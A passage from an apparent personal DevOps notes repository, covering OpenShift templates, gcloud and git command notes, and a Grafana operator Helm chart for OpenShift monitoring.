| roleRef: 25 | apiGroup: rbac.authorization.k8s.io 26 | kind: ClusterRole 27 | name: admin 28 | subjects: 29 | - apiGroup: rbac.authorization.k8s.io 30 | kind: User 31 | name: ${PROJECT_ADMIN_USER} 32 | - apiVersion: v1 33 | kind: ResourceQuota 34 | metadata: 35 | name: project-quota 36 | namespace: ${PROJECT_NAME} 37 | spec: 38 | hard: 39 | limits.cpu: 6 40 | limits.memory: "16Gi" 41 | pods: 10 42 | requests.cpu: 4 43 | requests.storage: "20G" 44 | requests.memory: "8Gi" 45 | - apiVersion: "v1" 46 | kind: "LimitRange" 47 | metadata: 48 | name: "project-limits" 49 | namespace: ${PROJECT_NAME} 50 | spec: 51 | limits: 52 | - default: 53 | cpu: 500m 54 | memory: 500Mi 55 | max: 56 | cpu: 1 57 | memory: 1Gi 58 | type: Container 59 | - apiVersion: networking.k8s.io/v1 60 | kind: NetworkPolicy 61 | metadata: 62 | name: deny-by-default 63 | namespace: ${PROJECT_NAME} 64 | spec: 65 | podSelector: {} 66 | policyTypes: 67 | - Ingress 68 | - apiVersion: networking.k8s.io/v1 69 | kind: NetworkPolicy 70 | metadata: 71 | name: allow-same-namespace 72 | namespace: ${PROJECT_NAME} 73 | spec: 74 | podSelector: 75 | policyTypes: 76 | - Ingress 77 | ingress: 78 | - from: 79 | - podSelector: {} 80 | - apiVersion: networking.k8s.io/v1 81 | kind: NetworkPolicy 82 | metadata: 83 | name: allow-from-openshift-ingress 84 | namespace: ${PROJECT_NAME} 85 | spec: 86 | podSelector: {} 87 | ingress: 88 | - from: 89 | - namespaceSelector: 90 | matchLabels: 91 | network.openshift.io/policy-group: ingress 92 | parameters: 93 | - name: PROJECT_NAME 94 | - name: PROJECT_DISPLAYNAME 95 | - name: PROJECT_DESCRIPTION 96 | - name: PROJECT_ADMIN_USER 97 | - name: PROJECT_REQUESTING_USER 98 | -------------------------------------------------------------------------------- /expose_image_reg.md: -------------------------------------------------------------------------------- 1 | # Expose image registry 2 | 3 | So what is the need for this? 4 | To be honest i personally don't think you should. 5 | Instead i would say that you should have an external registry like quay and you push **TO** it and not the other way around. 6 | Using your CI/CD solution. 7 | 8 | I can understand that you want your admins to do it from a debug point of view... Good and bad stuff as allways. 9 | 10 | ## Expose registry 11 | 12 | ```oc patch configs.imageregistry.operator.openshift.io/cluster --type=merge --patch '{"spec":{"defaultRoute":true}}'``` 13 | 14 | If you want a shorter image registry 15 | 16 | ```oc patch configs.imageregistry.operator.openshift.io/cluster --type=merge --patch '{"spec":{"routes":[{"name":"image-registry", "hostname":"image-registry.'$INGRESS_DOMAIN'"}]}}'``` 17 | -------------------------------------------------------------------------------- /gcp.md: -------------------------------------------------------------------------------- 1 | # GCP stuff 2 | 3 | ## Auth 4 | 5 | ```shell 6 | # login 7 | gcloud auth login 8 | # List your current account 9 | gcloud auth list 10 | # List your config 11 | gcloud config list 12 | # Set your default project 13 | gcloud config set project project1 14 | ``` 15 | 16 | ### Change accounts 17 | 18 | ```shell 19 | gcloud config configurations list 20 | gcloud config configurations activate default 21 | ``` 22 | 23 | ## GKE 24 | 25 | GKE specific stuff 26 | 27 | ### Get login creds 28 | 29 | ```shell 30 | gcloud container clusters get-credentials cluster-name --region europe-west1 --project project1 31 | ``` 32 | 33 | ### describe clusters 34 | 35 | This command gives an overview of all settings that you have on your cluster. 36 | 37 | ```shell 38 | gcloud beta container clusters describe --region europe-west1 cluster-example 39 | ``` 40 | 41 | ## Security professional 42 | 43 | ```shell 44 | # create vm with apache2 45 | gcloud compute instances create us-web-vm \ 46 | --machine-type=e2-micro \ 47 | --zone=us-east1-b \ 48 | --network=default \ 49 | --subnet=default \ 50 | --tags=http-server \ 51 | --metadata=startup-script='#! /bin/bash 52 | apt-get update 53 | apt-get install apache2 -y 54 | echo "Page served from: US-EAST1" | \ 55 | tee /var/www/html/index.html 56 | systemctl restart apache2' 57 | # get the ip address of a vm 58 | export EUROPE_WEB_IP=$(gcloud compute instances describe europe-web-vm --zone=europe-west2-a --format="value(networkInterfaces.networkIP)") 59 | # create private dn 60 | gcloud dns managed-zones create example --description=test --dns-name=example.com --networks=default --visibility=private 61 | # dns route policy 62 | gcloud dns record-sets create geo.example.com \ 63 | --ttl=5 --type=A --zone=example \ 64 | --routing-policy-type=GEO \ 65 | --routing-policy-data="us-east1=$US_WEB_IP;europe-west2=$EUROPE_WEB_IP" 66 | # List dns routes 67 | gcloud dns record-sets list --zone=example 68 | # firewall http opening, don't use 69 | gcloud compute --project=project1 firewall-rules create allow-http-web-server --direction=INGRESS --priority=1000 --network=default --action=ALLOW --rules=tcp:80 --source-ranges=0.0.0.0/0 --target-tags=web-server 70 | ``` 71 | 72 | ### Hybrid network 73 | 74 | In this task you create VPN tunnels between the two gateways. For HA VPN setup, you add two tunnels from each gateway to the remote setup. You create a tunnel on interface0 and connect to interface0 on the remote gateway. Next, you create another tunnel on interface1 and connect to interface1 on the remote gateway. 75 | 76 | When you run HA VPN tunnels between two Google Cloud VPCs, you need to make sure that the tunnel on interface0 is connected to interface0 on the remote VPN gateway. Similarly, the tunnel on interface1 must be connected to interface1 on the remote VPN gateway. 77 | 78 | > Note: In your own environment, if you run HA VPN to a remote VPN gateway on-premises for a customer, you can connect in one of the following ways: 79 | Two on-premises VPN gateway devices: Each of the tunnels from each interface on the Cloud VPN gateway must be connected to its own peer gateway. 80 | A single on-premises VPN gateway device with two interfaces: Each of the tunnels from each interface on the Cloud VPN gateway must be connected to its own interface on the peer gateway. 81 | A single on-premises VPN gateway device with a single interface: Both of the tunnels from each interface on the Cloud VPN gateway must be connected to the same interface on the peer gateway. 82 | 83 | ## IAM 84 | 85 | ### List policy bindings for SA 86 | 87 | ```shell 88 | gcloud iam service-accounts get-iam-policy fooobar@project1.iam.gserviceaccount.com 89 | ``` 90 | 91 | ### List roles for SA 92 | 93 | ```shell 94 | gcloud projects get-iam-policy project1 \ 95 | --flatten="bindings[].members" \ 96 | --format='table(bindings.role)' \ 97 | --filter="bindings.members:fooobar@project1.iam.gserviceaccount.com" 98 | ``` 99 | -------------------------------------------------------------------------------- /git.md: -------------------------------------------------------------------------------- 1 | # GIT 2 | 3 | ## General 4 | 5 | ### Rebase in a nice way 6 | 7 | git pull --rebase 8 | 9 | ### status 10 | 11 | git status 12 | 13 | ### Add the local changes 14 | 15 | git add filename 16 | 17 | ### Check local changes before commit 18 | 19 | git diff --cached 20 | 21 | ### Create change message using the -m, don't do this overall 22 | 23 | git commit -m "added file x jira 6523" 24 | 25 | ### Amend 26 | 27 | git commit --amend 28 | 29 | ### Remove your latest commit 30 | 31 | git reset HEAD~ 32 | 33 | ### Show 34 | 35 | git show 36 | 37 | ### Reset your repo, use carfully 38 | 39 | git reset --hard origin/master 40 | 41 | ### Reset a file from the last commit 42 | 43 | git checkout -- puppet-modules/Puppetfile 44 | 45 | ### A compressed overview of the log 46 | 47 | git reflog 48 | 49 | ### Fetch remote heads 50 | 51 | git fetch --all 52 | 53 | ### view all the branches that we can use 54 | 55 | cat .git/FETCH_HEAD 56 | 57 | ### Show changed files over time 58 | 59 | From time to time people perform multiple changes to a file so you can't perform a git blame. 60 | But in my case i needed to find when the first changed happed, bellow you will find a few ways of doing this. 61 | 62 | #### Go through changed files. from current data to a very old random commit 63 | 64 | git show --stat --oneline 42516364da7f283aa2e8851d335c5762cfd4d62c..HEAD 65 | 66 | #### Another way is bellow, it shows the same stuff as git log but adds all the files that was changed 67 | 68 | git log --stat 69 | 70 | #### A third way is but it seems overkill overall for us. But a cool function 71 | 72 | git-bisect 73 | 74 | ### Overwrite a filechange from a earlier commit 75 | 76 | git show 8e1b479e71a438e57e5c884437ed4bddc218ec57 -- puppet-modules-eis/ | git apply -R 77 | 78 | ## Gerrit 79 | 80 | git gerrit init 81 | 82 | ### Push stuff to gerrit for code review 83 | 84 | git push origin HEAD:refs/for/master 85 | 86 | ### Download gerrit hook 87 | 88 | I think this is the default url, but overall you should be able to find the commit-msg in gerrit somewhere. Ask your admin 89 | 90 | curl -Lo .git/hooks/commit-msg http://gerrit.domain.se/tools/hooks/commit-msg 91 | 92 | chmod +x .git/hooks/commit-msg 93 | 94 | ### Send message to gerrit 95 | 96 | ssh selngerrit gerrit review ${SHA1} --message "Blaha" 97 | 98 | SHA1=git log -1 --pretty=format:%H HEAD 99 | 100 | ### Squash commits 101 | 102 | Where ~5 is how many commits you want to go back and put together. 103 | 104 | git rebase -i HEAD~5 105 | -------------------------------------------------------------------------------- /go_build.txt: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | cd src/userM 3 | go mod download /opt/local/go/src/go-url/build/cache -json 4 | go build -ldflags '-extldflags "-static"' -o userM_output 5 | -------------------------------------------------------------------------------- /grafana_easy/README.md: -------------------------------------------------------------------------------- 1 | # Grafana easy 2 | 3 | I have created this folder to make life easier. 4 | It will never be updated and I would really recommend you using the [official grafana operator repo](https://github.com/integr8ly/grafana-operator/) instead. 5 | 6 | Read through the instructions in [grafana/README.md](grafana/README.md) and update the values.yaml file 7 | 8 | But this should do the job. 9 | 10 | ```bash 11 | oc new-project grafana 12 | oc apply -f grafana-operator 13 | cd grafana 14 | # Update the values.yaml 15 | sleep 5 # Giving the operator some time to start 16 | helm install grafana . 17 | ``` 18 | -------------------------------------------------------------------------------- /grafana_easy/grafana-operator/Grafana.yaml: -------------------------------------------------------------------------------- 1 | --- 2 | #NOTE: based on https://raw.githubusercontent.com/integr8ly/grafana-operator/master/deploy/crds/Grafana.yaml 3 | apiVersion: apiextensions.k8s.io/v1beta1 4 | kind: CustomResourceDefinition 5 | metadata: 6 | name: grafanas.integreatly.org 7 | spec: 8 | group: integreatly.org 9 | names: 10 | kind: Grafana 11 | listKind: GrafanaList 12 | plural: grafanas 13 | singular: grafana 14 | scope: Namespaced 15 | subresources: 16 | status: {} 17 | version: v1alpha1 18 | validation: 19 | openAPIV3Schema: 20 | required: ["spec"] 21 | properties: 22 | spec: 23 | properties: 24 | containers: 25 | type: array 26 | items: 27 | type: object 28 | description: Additional container to add to the grafana pod 29 | secrets: 30 | type: array 31 | items: 32 | type: string 33 | description: Secret to be mounted as volume into the grafana deployment 34 | configMaps: 35 | type: array 36 | items: 37 | type: string 38 | description: Config map to be mounted as volume into the grafana deployment 39 | logLevel: 40 | type: string 41 | description: Log level of the grafana instance, defaults to info 42 | adminUser: 43 | type: string 44 | description: Default admin user name 45 | adminPassword: 46 | type: string 47 | description: Default admin password 48 | basicAuth: 49 | type: boolean 50 | description: Basic auth enabled 51 | disableLoginForm: 52 | type: boolean 53 | description: Disable login form 54 | disableSignoutMenu: 55 | type: boolean 56 | description: Disable signout menu 57 | anonymous: 58 | type: boolean 59 | description: Anonymous auth enabled 60 | config: 61 | type: object 62 | description: Grafana config 63 | ingress: 64 | type: object 65 | properties: 66 | enabled: 67 | type: boolean 68 | description: Create an ingress / route 69 | path: 70 | type: string 71 | description: Ingress path 72 | hostname: 73 | type: string 74 | description: The hostname of the ingress / route 75 | annotations: 76 | type: object 77 | description: Additional annotations for the ingress / route 78 | labels: 79 | type: object 80 | description: Additional labels for the ingress / route 81 | targetPort: 82 | type: string 83 | description: Override port to target in the grafana service 84 | service: 85 | type: object 86 | properties: 87 | ports: 88 | type: array 89 | description: Override default ports 90 | items: 91 | type: object 92 | annotations: 93 | type: object 94 | description: Additional annotations for the service 95 | labels: 96 | type: object 97 | description: Additional labels for the service 98 | type: 99 | type: string 100 | description: Service type (NodePort, ClusterIP or LoadBalancer) 101 | deployment: 102 | type: object 103 | properties: 104 | annotations: 105 | type: object 106 | description: Additional annotations for the service 107 | labels: 108 | type: object 109 | description: Additional labels for the service 110 | serviceAccount: 111 | type: object 112 | properties: 113 | annotations: 114 | type: object 115 | description: Additional annotations for the serviceaccount 116 | labels: 117 | type: object 118 | description: Additional labels for the serviceaccount 119 | client: 120 | type: object 121 | description: Grafana client settings 122 | compat: 123 | type: object 124 | description: Backwards compatibility switches 125 | dashboardLabelSelectors: 126 | type: array 127 | items: 128 | type: object 129 | description: Label selector or match expressions 130 | -------------------------------------------------------------------------------- /grafana_easy/grafana-operator/GrafanaDashboard.yaml: -------------------------------------------------------------------------------- 1 | --- 2 | #NOTE: based on https://raw.githubusercontent.com/integr8ly/grafana-operator/master/deploy/crds/GrafanaDashboard.yaml 3 | apiVersion: apiextensions.k8s.io/v1beta1 4 | kind: CustomResourceDefinition 5 | metadata: 6 | name: grafanadashboards.integreatly.org 7 | spec: 8 | group: integreatly.org 9 | names: 10 | kind: GrafanaDashboard 11 | listKind: GrafanaDashboardList 12 | plural: grafanadashboards 13 | singular: grafanadashboard 14 | scope: Namespaced 15 | subresources: 16 | status: {} 17 | version: v1alpha1 18 | validation: 19 | openAPIV3Schema: 20 | properties: 21 | spec: 22 | properties: 23 | name: 24 | type: string 25 | json: 26 | type: string 27 | url: 28 | type: string 29 | description: URL to dashboard json 30 | datasources: 31 | type: array 32 | items: 33 | description: Input datasources to resolve before importing 34 | type: object 35 | plugins: 36 | type: array 37 | items: 38 | description: Grafana Plugin Object 39 | type: object 40 | -------------------------------------------------------------------------------- /grafana_easy/grafana-operator/GrafanaDataSource.yaml: -------------------------------------------------------------------------------- 1 | --- 2 | #NOTE: based on https://raw.githubusercontent.com/integr8ly/grafana-operator/master/deploy/crds/GrafanaDataSource.yaml 3 | apiVersion: apiextensions.k8s.io/v1beta1 4 | kind: CustomResourceDefinition 5 | metadata: 6 | name: grafanadatasources.integreatly.org 7 | spec: 8 | group: integreatly.org 9 | names: 10 | kind: GrafanaDataSource 11 | listKind: GrafanaDataSourceList 12 | plural: grafanadatasources 13 | singular: grafanadatasource 14 | scope: Namespaced 15 | subresources: 16 | status: {} 17 | version: v1alpha1 18 | validation: 19 | openAPIV3Schema: 20 | properties: 21 | apiVersion: 22 | type: string 23 | kind: 24 | type: string 25 | metadata: 26 | type: object 27 | spec: 28 | required: ["datasources", "name"] 29 | properties: 30 | name: 31 | type: string 32 | minimum: 1 33 | datasources: 34 | type: array 35 | items: 36 | description: Grafana Datasource Object 37 | type: object 38 | -------------------------------------------------------------------------------- /grafana_easy/grafana-operator/cluster_role.yaml: -------------------------------------------------------------------------------- 1 | apiVersion: rbac.authorization.k8s.io/v1 2 | kind: ClusterRole 3 | metadata: 4 | name: grafana-operator 5 | rules: 6 | - apiGroups: 7 | - integreatly.org 8 | resources: 9 | - grafanadashboards 10 | - grafanadashboards/status 11 | verbs: 12 | - get 13 | - list 14 | - update 15 | - watch 16 | - apiGroups: 17 | - "" 18 | resources: 19 | - namespaces 20 | verbs: 21 | - get 22 | - list 23 | - watch 24 | - apiGroups: 25 | - "" 26 | resources: 27 | - events 28 | verbs: 29 | - get 30 | - list 31 | - watch 32 | - create 33 | - patch 34 | -------------------------------------------------------------------------------- /grafana_easy/grafana-operator/operator.yaml: -------------------------------------------------------------------------------- 1 | --- 2 | #From: https://raw.githubusercontent.com/integr8ly/grafana-operator/master/deploy/operator.yaml 3 | apiVersion: apps/v1 4 | kind: Deployment 5 | metadata: 6 | name: grafana-operator 7 | spec: 8 | replicas: 1 9 | selector: 10 | matchLabels: 11 | name: grafana-operator 12 | template: 13 | metadata: 14 | labels: 15 | name: grafana-operator 16 | spec: 17 | serviceAccountName: grafana-operator 18 | containers: 19 | - name: grafana-operator 20 | image: quay.io/integreatly/grafana-operator:v3.0.2 21 | args: 22 | - '--grafana-image=quay.io/openshift/origin-grafana' 23 | - '--grafana-image-tag=4.3' 24 | - '--scan-all' 25 | ports: 26 | - containerPort: 60000 27 | name: metrics 28 | command: 29 | - grafana-operator 30 | imagePullPolicy: Always 31 | readinessProbe: 32 | exec: 33 | command: 34 | - stat 35 | - /tmp/operator-sdk-ready 36 | initialDelaySeconds: 4 37 | periodSeconds: 10 38 | failureThreshold: 1 39 | env: 40 | - name: TEMPLATE_PATH 41 | value: /usr/local/bin/templates 42 | - name: WATCH_NAMESPACE 43 | valueFrom: 44 | fieldRef: 45 | fieldPath: metadata.namespace 46 | - name: POD_NAME 47 | valueFrom: 48 | fieldRef: 49 | fieldPath: metadata.name 50 | - name: OPERATOR_NAME 51 | value: "grafana-operator" 52 | -------------------------------------------------------------------------------- /grafana_easy/grafana-operator/role.yaml: -------------------------------------------------------------------------------- 1 | --- 2 | #From: https://github.com/integr8ly/grafana-operator/blob/master/deploy/roles/role.yaml 3 | apiVersion: rbac.authorization.k8s.io/v1 4 | kind: Role 5 | metadata: 6 | creationTimestamp: null 7 | name: grafana-operator 8 | rules: 9 | - apiGroups: 10 | - "" 11 | resources: 12 | - pods 13 | - services 14 | - endpoints 15 | - persistentvolumeclaims 16 | - events 17 | - configmaps 18 | - secrets 19 | - serviceaccounts 20 | verbs: 21 | - '*' 22 | - apiGroups: 23 | - apps 24 | resources: 25 | - deployments 26 | - daemonsets 27 | - replicasets 28 | - statefulsets 29 | verbs: 30 | - '*' 31 | - apiGroups: 32 | - route.openshift.io 33 | resources: 34 | - routes 35 | verbs: 36 | - '*' 37 | - apiGroups: 38 | - monitoring.coreos.com 39 | resources: 40 | - servicemonitors 41 | verbs: 42 | - get 43 | - create 44 | - apiGroups: 45 | - extensions 46 | resources: 47 | - ingresses 48 | verbs: 49 | - '*' 50 | - apiGroups: 51 | - integreatly.org 52 | resources: 53 | - grafanas 54 | - grafanas/status 55 | - grafanadashboards 56 | - grafanadatasources 57 | - grafanas/finalizers 58 | - grafanadashboards/finalizers 59 | - grafanadashboards/status 60 | - grafanadatasources/finalizers 61 | verbs: 62 | - '*' 63 | -------------------------------------------------------------------------------- /grafana_easy/grafana-operator/role_binding.yaml: -------------------------------------------------------------------------------- 1 | --- 2 | #From: https://raw.githubusercontent.com/integr8ly/grafana-operator/master/deploy/roles/role_binding.yaml 3 | kind: RoleBinding 4 | apiVersion: rbac.authorization.k8s.io/v1 5 | metadata: 6 | name: grafana-operator 7 | subjects: 8 | - kind: ServiceAccount 9 | name: grafana-operator 10 | roleRef: 11 | kind: Role 12 | name: grafana-operator 13 | apiGroup: rbac.authorization.k8s.io 14 | -------------------------------------------------------------------------------- /grafana_easy/grafana-operator/role_full_scan_access.yaml: -------------------------------------------------------------------------------- 1 | apiVersion: rbac.authorization.k8s.io/v1 2 | kind: ClusterRoleBinding 3 | metadata: 4 | name: grafana-operator 5 | roleRef: 6 | name: grafana-operator 7 | kind: ClusterRole 8 | apiGroup: "rbac.authorization.k8s.io" 9 | subjects: 10 | - kind: ServiceAccount 11 | name: grafana-operator 12 | namespace: grafana 13 | -------------------------------------------------------------------------------- /grafana_easy/grafana-operator/service_account.yaml: -------------------------------------------------------------------------------- 1 | --- 2 | # From: https://raw.githubusercontent.com/integr8ly/grafana-operator/master/deploy/roles/service_account.yaml 3 | apiVersion: v1 4 | kind: ServiceAccount 5 | metadata: 6 | name: grafana-operator 7 | -------------------------------------------------------------------------------- /grafana_easy/grafana/.helmignore: -------------------------------------------------------------------------------- 1 | # Patterns to ignore when building packages. 2 | # This supports shell glob matching, relative path matching, and 3 | # negation (prefixed with !). Only one pattern per line. 4 | .DS_Store 5 | # Common VCS dirs 6 | .git/ 7 | .gitignore 8 | .bzr/ 9 | .bzrignore 10 | .hg/ 11 | .hgignore 12 | .svn/ 13 | # Common backup files 14 | *.swp 15 | *.bak 16 | *.tmp 17 | *~ 18 | # Various IDEs 19 | .project 20 | .idea/ 21 | *.tmproj 22 | .vscode/ 23 | -------------------------------------------------------------------------------- /grafana_easy/grafana/Chart.yaml: -------------------------------------------------------------------------------- 1 | apiVersion: v2 2 | name: deploy 3 | description: A Helm chart for Kubernetes 4 | 5 | # A chart can be either an 'application' or a 'library' chart. 6 | # 7 | # Application charts are a collection of templates that can be packaged into versioned archives 8 | # to be deployed. 9 | # 10 | # Library charts provide useful utilities or functions for the chart developer. They're included as 11 | # a dependency of application charts to inject those utilities and functions into the rendering 12 | # pipeline. Library charts do not define any templates and therefore cannot be deployed. 13 | type: application 14 | 15 | # This is the chart version. This version number should be incremented each time you make changes 16 | # to the chart and its templates, including the app version. 17 | version: 0.1.0 18 | 19 | # This is the version number of the application being deployed. This version number should be 20 | # incremented each time you make changes to the application. 21 | appVersion: 1.16.0 22 | -------------------------------------------------------------------------------- /grafana_easy/grafana/README.md: -------------------------------------------------------------------------------- 1 | # Grafana 2 | 3 | This repo have more or less been completley taken [from](https://github.com/kborup-redhat/grafana-openshift). 4 | 5 | He in turn have taken most of it from the official grafana [operator](https://github.com/integr8ly/grafana-operator) 6 | 7 | ## Upgrade Grafana operator 8 | 9 | So if you want the latest version of Gafana operator go to [https://github.com/integr8ly/grafana-operator](https://github.com/integr8ly/grafana-operator) 10 | and grab the latest config. 11 | 12 | Copy those changes in to: charts/grafana-operator 13 | 14 | There might be some minor changes that needs to be done but thats the gist of it. 15 | 16 | ## Reasons for not using OLM 17 | 18 | At the time writing this document the Grafana operator version avaliable at OLM/operatorhub.io is ancient. 19 | Due to that we need a few new features to be able to talk to Thanos we need to manage the Grafana operator our self. 20 | 21 | This might change in the future, keep your self update on [https://operatorhub.io](https://operatorhub.io). 22 | 23 | ## Getting the values needed 24 | 25 | As you can see in values.yaml we need two values to be able to use this chart. 26 | 27 | openshift_prometheus_htpasswd_auth: 28 | openshift_prometheus_basic_auth_pass: 29 | 30 | These values can be gotten by perfroming the following: 31 | 32 | *NOTE THE SED MAC USERS*, I don't have a mac so I can't test this but I know that mac got some differences from linux when it comes to sed. 33 | 34 | ```yaml 35 | # openshift_prometheus_basic_auth_pass=$GRAFANA_DATASOURCE_PASSWORD 36 | export GRAFANA_DATASOURCE_PASSWORD=$(oc get secret grafana-datasources -n openshift-monitoring -o jsonpath='{.data.prometheus\.yaml}' | base64 --decode | jq .datasources[0].basicAuthPassword | sed 's/"//g' ) 37 | echo $GRAFANA_DATASOURCE_PASSWORD 38 | 39 | # openshift_prometheus_htpasswd_auth=$PROMETHEUS_HTPASSWD_AUTH 40 | export PROMETHEUS_HTPASSWD_AUTH=$(oc get secret prometheus-k8s-htpasswd -n openshift-monitoring -o jsonpath='{.data.auth}') 41 | echo $PROMETHEUS_HTPASSWD_AUTH 42 | ``` 43 | 44 | The reason why we can't hard code them for each cluster is that they get generated for every new cluster. 45 | -------------------------------------------------------------------------------- /grafana_easy/grafana/templates/_helpers.tpl: -------------------------------------------------------------------------------- 1 | {{/* vim: set filetype=mustache: */}} 2 | {{/* 3 | Expand the name of the chart. 4 | */}} 5 | {{- define "deploy.name" -}} 6 | {{- default .Chart.Name .Values.nameOverride | trunc 63 | trimSuffix "-" -}} 7 | {{- end -}} 8 | 9 | {{/* 10 | Create a default fully qualified app name. 11 | We truncate at 63 chars because some Kubernetes name fields are limited to this (by the DNS naming spec). 12 | If release name contains chart name it will be used as a full name. 13 | */}} 14 | {{- define "deploy.fullname" -}} 15 | {{- if .Values.fullnameOverride -}} 16 | {{- .Values.fullnameOverride | trunc 63 | trimSuffix "-" -}} 17 | {{- else -}} 18 | {{- $name := default .Chart.Name .Values.nameOverride -}} 19 | {{- if contains $name .Release.Name -}} 20 | {{- .Release.Name | trunc 63 | trimSuffix "-" -}} 21 | {{- else -}} 22 | {{- printf "%s-%s" .Release.Name $name | trunc 63 | trimSuffix "-" -}} 23 | {{- end -}} 24 | {{- end -}} 25 | {{- end -}} 26 | 27 | {{/* 28 | Create chart name and version as used by the chart label. 29 | */}} 30 | {{- define "deploy.chart" -}} 31 | {{- printf "%s-%s" .Chart.Name .Chart.Version | replace "+" "_" | trunc 63 | trimSuffix "-" -}} 32 | {{- end -}} 33 | 34 | {{/* 35 | Common labels 36 | */}} 37 | {{- define "deploy.labels" -}} 38 | helm.sh/chart: {{ include "deploy.chart" . }} 39 | {{ include "deploy.selectorLabels" . }} 40 | {{- if .Chart.AppVersion }} 41 | app.kubernetes.io/version: {{ .Chart.AppVersion | quote }} 42 | {{- end }} 43 | app.kubernetes.io/managed-by: {{ .Release.Service }} 44 | {{- end -}} 45 | 46 | {{/* 47 | Selector labels 48 | */}} 49 | {{- define "deploy.selectorLabels" -}} 50 | app.kubernetes.io/name: {{ include "deploy.name" . }} 51 | app.kubernetes.io/instance: {{ .Release.Name }} 52 | {{- end -}} 53 | 54 | {{/* 55 | Create the name of the service account to use 56 | */}} 57 | {{- define "deploy.serviceAccountName" -}} 58 | {{- if .Values.serviceAccount.create -}} 59 | {{ default (include "deploy.fullname" .) .Values.serviceAccount.name }} 60 | {{- else -}} 61 | {{ default "default" .Values.serviceAccount.name }} 62 | {{- end -}} 63 | {{- end -}} 64 | -------------------------------------------------------------------------------- /grafana_easy/grafana/templates/cluster-role-grafana.yml: -------------------------------------------------------------------------------- 1 | apiVersion: rbac.authorization.k8s.io/v1 2 | kind: ClusterRole 3 | metadata: 4 | name: grafana-crd-edit 5 | rules: 6 | - apiGroups: 7 | - integreatly.org 8 | resources: 9 | - grafanadashboards 10 | - grafanadashboards/status 11 | verbs: 12 | - get 13 | - list 14 | - update 15 | - watch 16 | - create 17 | - delete 18 | - patch 19 | -------------------------------------------------------------------------------- /grafana_easy/grafana/templates/grafana-oauth-cluster-role.yaml: -------------------------------------------------------------------------------- 1 | --- 2 | apiVersion: rbac.authorization.k8s.io/v1 3 | kind: ClusterRole 4 | metadata: 5 | name: grafana-proxy 6 | rules: 7 | - apiGroups: 8 | - authentication.k8s.io 9 | resources: 10 | - tokenreviews 11 | verbs: 12 | - create 13 | - apiGroups: 14 | - authorization.k8s.io 15 | resources: 16 | - subjectaccessreviews 17 | verbs: 18 | - create 19 | -------------------------------------------------------------------------------- /grafana_easy/grafana/templates/grafana-oauth-clusterrolebinding.yaml: -------------------------------------------------------------------------------- 1 | --- 2 | apiVersion: rbac.authorization.k8s.io/v1 3 | kind: ClusterRoleBinding 4 | metadata: 5 | name: grafana-grafana-proxy 6 | roleRef: 7 | apiGroup: rbac.authorization.k8s.io 8 | kind: ClusterRole 9 | name: grafana-proxy 10 | subjects: 11 | - kind: ServiceAccount 12 | name: grafana-serviceaccount 13 | namespace: grafana 14 | -------------------------------------------------------------------------------- /grafana_easy/grafana/templates/grafana-oauth-session-secret.yaml: -------------------------------------------------------------------------------- 1 | --- 2 | apiVersion: v1 3 | data: 4 | session_secret: Y2hhbmdlIG1lCg== 5 | kind: Secret 6 | type: Opaque 7 | metadata: 8 | name: grafana-k8s-proxy 9 | -------------------------------------------------------------------------------- /grafana_easy/grafana/templates/grafana-thanos-datasource.yaml: -------------------------------------------------------------------------------- 1 | --- 2 | apiVersion: integreatly.org/v1alpha1 3 | kind: GrafanaDataSource 4 | metadata: 5 | name: prometheus-grafana-datasource 6 | spec: 7 | name: prometheus.yaml 8 | datasources: 9 | - access: "proxy" 10 | basicAuth: true 11 | basicAuthPassword: {{ .Values.openshift_prometheus_basic_auth_pass }} 12 | basicAuthUser: "internal" 13 | editable: false 14 | isDefault: true 15 | jsonData: 16 | tlsSkipVerify: true 17 | name: "prometheus" 18 | orgId: 1 19 | type: "prometheus" 20 | url: "https://thanos-querier.openshift-monitoring.svc:9091" 21 | version: 1 22 | -------------------------------------------------------------------------------- /grafana_easy/grafana/templates/grafana.yaml: -------------------------------------------------------------------------------- 1 | --- 2 | apiVersion: integreatly.org/v1alpha1 3 | kind: Grafana 4 | metadata: 5 | name: grafana-oauth 6 | spec: 7 | config: 8 | log: 9 | mode: "console" 10 | level: "warn" 11 | auth: 12 | disable_login_form: False 13 | disable_signout_menu: True 14 | auth.basic: 15 | enabled: True 16 | auth.anonymous: 17 | enabled: True 18 | containers: 19 | - args: 20 | - '-provider=openshift' 21 | - '-pass-basic-auth=false' 22 | - '-https-address=:9091' 23 | - '-http-address=' 24 | - '-email-domain=*' 25 | - '-upstream=http://localhost:3000' 26 | - '-openshift-sar={"resource": "namespaces", "verb": "get"}' 27 | - '-openshift-delegate-urls={"/": {"resource": "namespaces", "verb": "get"}}' 28 | - '-tls-cert=/etc/tls/private/tls.crt' 29 | - '-tls-key=/etc/tls/private/tls.key' 30 | - '-client-secret-file=/var/run/secrets/kubernetes.io/serviceaccount/token' 31 | - '-cookie-secret-file=/etc/proxy/secrets/session_secret' 32 | - '-openshift-service-account=grafana-serviceaccount' 33 | - '-openshift-ca=/etc/pki/tls/cert.pem' 34 | - '-openshift-ca=/var/run/secrets/kubernetes.io/serviceaccount/ca.crt' 35 | - '-openshift-ca=/etc/grafana-configmaps/ocp-injected-certs/ca-bundle.crt' 36 | - '-skip-auth-regex=^/metrics' 37 | image: 'quay.io/openshift/origin-oauth-proxy:4.4' 38 | name: grafana-proxy 39 | ports: 40 | - containerPort: 9091 41 | name: grafana-proxy 42 | resources: {} 43 | volumeMounts: 44 | - mountPath: /etc/tls/private 45 | name: secret-grafana-k8s-tls 46 | readOnly: false 47 | - mountPath: /etc/proxy/secrets 48 | name: secret-grafana-k8s-proxy 49 | readOnly: false 50 | secrets: 51 | - grafana-k8s-tls 52 | - grafana-k8s-proxy 53 | configMaps: 54 | - ocp-injected-certs 55 | service: 56 | ports: 57 | - name: grafana-proxy 58 | port: 9091 59 | protocol: TCP 60 | targetPort: grafana-proxy 61 | annotations: 62 | service.alpha.openshift.io/serving-cert-secret-name: grafana-k8s-tls 63 | ingress: 64 | enabled: True 65 | targetPort: grafana-proxy 66 | termination: reencrypt 67 | client: 68 | preferService: True 69 | serviceAccount: 70 | annotations: 71 | serviceaccounts.openshift.io/oauth-redirectreference.primary: '{"kind":"OAuthRedirectReference","apiVersion":"v1","reference":{"kind":"Route","name":"grafana-route"}}' 72 | dashboardLabelSelector: 73 | - matchExpressions: 74 | - { key: "app", operator: In, values: ['grafana'] } 75 | -------------------------------------------------------------------------------- /grafana_easy/grafana/templates/ocp-injected-certs.yml: -------------------------------------------------------------------------------- 1 | apiVersion: v1 2 | kind: ConfigMap 3 | metadata: 4 | labels: 5 